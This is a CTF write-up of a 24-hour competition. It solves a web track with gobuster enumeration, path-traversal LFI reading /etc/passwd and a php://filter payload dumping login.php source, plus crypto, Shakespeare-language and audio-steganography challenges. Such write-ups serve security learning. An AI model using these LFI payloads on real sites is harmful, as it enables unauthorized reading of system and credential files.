24h@CTF

The CTF is a 24 hour long CTF made through a collaboration between a few companies and Polytechnique Montreal’s cybersecurity student club.

Misc

Read the Rules! – Easy – 10 pts

There might a little gift for those who read the rules…

Read the rules. A flag is at the end…

FLAG-{rules_are_important!}

Jamais sans mon RIZ

Come and learn about your true passion served with a side of challenging web vulnerabilities.

A full web track with many challenges of progressing difficulty, for beginner to experienced players. http://www.jamaissansmonriz.com/

Flag 1 – Easy – 80 pts

Crawl the website using Gobuster to see if there are hidden pages.

URL="http://www.jamaissansmonriz.com/"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e

The flag is in the robots.txt file: http://www.jamaissansmonriz.com/robots.txt

FLAG{1_dur_dur_detre_un_robot}

Flag 2 – Medium – 185 pts

When navigating the website, we see that posts have URL like this:

http://www.jamaissansmonriz.com/post.php?postid=posts/1.php
http://www.jamaissansmonriz.com/post.php?postid=posts/2.php
http://www.jamaissansmonriz.com/post.php?postid=posts/3.php
...

Try a local file inclusion (LFI):

http://www.jamaissansmonriz.com/post.php?postid=admin/login.php

It runs the login page. Try another example.

http://www.jamaissansmonriz.com/post.php?postid=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
admin:x:1000:1000::/home/admin:/bin/sh

Use the LFI with PHP wrappers to read the admin/login.php page code.

http://www.jamaissansmonriz.com/post.php?postid=php://filter/convert.base64-encode/resource=admin/login.php

We get the code of login.php encoded in base 64. Use CyberChef to decode it.

<?php

// FLAG{2_je_me_sens_tellement_inclu}

include_once("lib/crypto.php");
session_start();

if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
    header("Location: /admin/index.php");
    exit();
}

// Validate Remember Me
if(isset($_COOKIE["remember_me"])) {
    if ($remember_me = validate_remember_me_cookie($_COOKIE["remember_me"])) {
        $_SESSION["admin"] = true;
        $_SESSION["username"] = "admin";
        header("Location: /admin/index.php");
        exit();
    }
}


// Validate login

if(isset($_POST["email"]) && isset($_POST["password"])) {
    // TODO: Ajouter une base de donnees, comme ca on ne riz plus
    if($_POST["email"] === "admin@jamaissansmonriz.com" && $_POST["password"] === getenv("FLAG4")) {
        
        $_SESSION["admin"] = true;
        $_SESSION["username"] = "admin";

        if(isset($_POST["remember_me"]) && $_POST["remember_me"] === "on") {
            setcookie("remember_me", generate_remember_me_cookie($_SESSION["username"], "1"), time()+3600*24*30, "/", "", 0);
        }   
        header("Location: /admin/index.php");
        exit();
    }
}



?>


<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>SB Admin 2 - Login</title>

    <!-- Custom fonts for this template-->
    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
    <link
        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
        rel="stylesheet">

    <!-- Custom styles for this template-->
    <link href="css/sb-admin-2.min.css" rel="stylesheet">

</head>

<body class="bg-gradient-primary">

    <div class="container">

        <!-- Outer Row -->
        <div class="row justify-content-center">

            <div class="col-xl-10 col-lg-12 col-md-9">

                <div class="card o-hidden border-0 shadow-lg my-5">
                    <div class="card-body p-0">
                        <!-- Nested Row within Card Body -->
                        <div class="row">
                            <div class="col-lg-6 d-none d-lg-block bg-login-image"></div>
                            <div class="col-lg-6">
                                <div class="p-5">
                                    <div class="text-center">
                                        <h1 class="h4 text-gray-900 mb-4">Welcome Back!</h1>
                                    </div>
                                    <form class="user" action="login.php" method="post">
                                        <div class="form-group">
                                            <input name="email" type="email" class="form-control form-control-user"
                                                id="exampleInputEmail" aria-describedby="emailHelp"
                                                placeholder="admin@jamaissansmonriz.com" required>
                                        </div>
                                        <div class="form-group">
                                            <input name="password" type="password" class="form-control form-control-user"
                                                id="exampleInputPassword" placeholder="Password" required>
                                        </div>
                                        <div class="form-group">
                                            <div class="custom-control custom-checkbox small">
                                                <input name="remember_me" type="checkbox" class="custom-control-input" id="customCheck">
                                                <label class="custom-control-label" for="customCheck">Remember Me</label>
                                            </div>
                                        </div>
                                        <input type="submit" class="btn btn-primary btn-user btn-block" value="Login">
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>

        </div>

    </div>

    <!-- Bootstrap core JavaScript-->
    <script src="vendor/jquery/jquery.min.js"></script>
    <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

    <!-- Core plugin JavaScript-->
    <script src="vendor/jquery-easing/jquery.easing.min.js"></script>

    <!-- Custom scripts for all pages-->
    <script src="js/sb-admin-2.min.js"></script>

</body>

</html>

FLAG{2_je_me_sens_tellement_inclu}

Flag 3

From the code of login.php previously found, we see that the login page redirects to admin/index.php. Access it using the LFI.

if(isset($_SESSION["admin"]) && $_SESSION["admin"]) {
    header("Location: /admin/index.php");
    exit();
}
http://www.jamaissansmonriz.com/post.php?postid=admin/index.php

FLAG{3_you_get_a_token_you_get_a_token_you_get_a_token}

Crypto

Un groupe de pirates informatique s’est donné comme but de ralentir la création de cybertalent auprès des jeunes au Québec. Ils se sont attaqués aux messages publicitaires de l’ÉcoleCyber. Pouvez-vous aider l’équipe à restorer les messages corompus?

Pouvez récuperer le message publicitaire initial à partir du message corompu?

Flag 1 – Easy – 80pts

Download challenge file at: https://polyhx.ctfd.io/files/3d2d89c8d632af8e48c81c80fa9d1ba7/challenge1.txt

cat challenge1.txt

FLAG{dbabd604f47b0acd8fd6f43632023a96}

Flag 2 – Easy – 90pts

https://polyhx.ctfd.io/files/4deba74f5b64146ddf2982dd0086dcaf/challenge2.txt

Not completed.

Flag 3 – Easy – 80pts

Download the file and open it in a text editor (ideally on wide screen) to be able to see the flag in ascii art.

FLAG{ART}

Shakespeare

Shakespeare Programming Language. See shakespearelang.

#!/usr/bin/python
# pip3 install shakespearelang
import socket
from shakespearelang.shakespeare_interpreter import Shakespeare

# Get one Shakespeare play and submit anwser to question
# Returns True if the flag was obtained
def get_play(s):
    flag_found = False
    lines = ""

    while True:
        try:
            line = s.recv(1024).decode('utf-8')
        except socket.timeout:
            break

        if not line:
            break
        else:
            lines = lines + line

    if "FLAG" in lines:
        flag_found = True
        print(lines)
    else:
        #print(lines)
        title, play, question = lines.split('==========================================================\n')

        interp = Shakespeare()
        interp.run_play(play)

        answer = 0
        for character in interp.characters:
            if character.name in question:
                answer = character.value
            else:
                print("Character " + character.name + " not found in question.")

        print("Submitting answer: " + str(answer))
        s.send(bytes(str(answer) + '\r\n', 'utf-8'))

    return flag_found

# Get Shakespeare plays until the flag is obtained or max attempts is reached
found = False
attempts = 10

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 32734))
s.settimeout(1)

while not found and attempts > 0:
    found = get_play(s)
    attempts = attempts - 1

s.close()

FLAG{t0_h4ck_0r_n0t_t0_h4ck}

Cassette

Flag 1

  • Open Audacity.
  • Click File->Import->Audio and choose secret.wav.
  • Click File->Import->Audio and choose original.wav.
  • Right-click on secret.wav on the left and select Spectogram. We can see parts of the flag is there.
  • Select secret.wav and click Effect->Invert. Invert flips the audio upside-down, reversing their polarity. The positive samples (above the horizontal zero line in the Audacity Waveform) are moved below the zero line (so becoming negative), and negative samples are made positive.
  • Click File->Export->Export as WAV to obtain a wav file with the two files combined. This will substract original (that was inverted) from secret.
  • Open the new file with Audacity.
  • Right-click on the file and select Spectogram.
  • The flag is displayed.

FLAG{W3lc0m3_t0_4ud10_St3G4n0gr4pHy}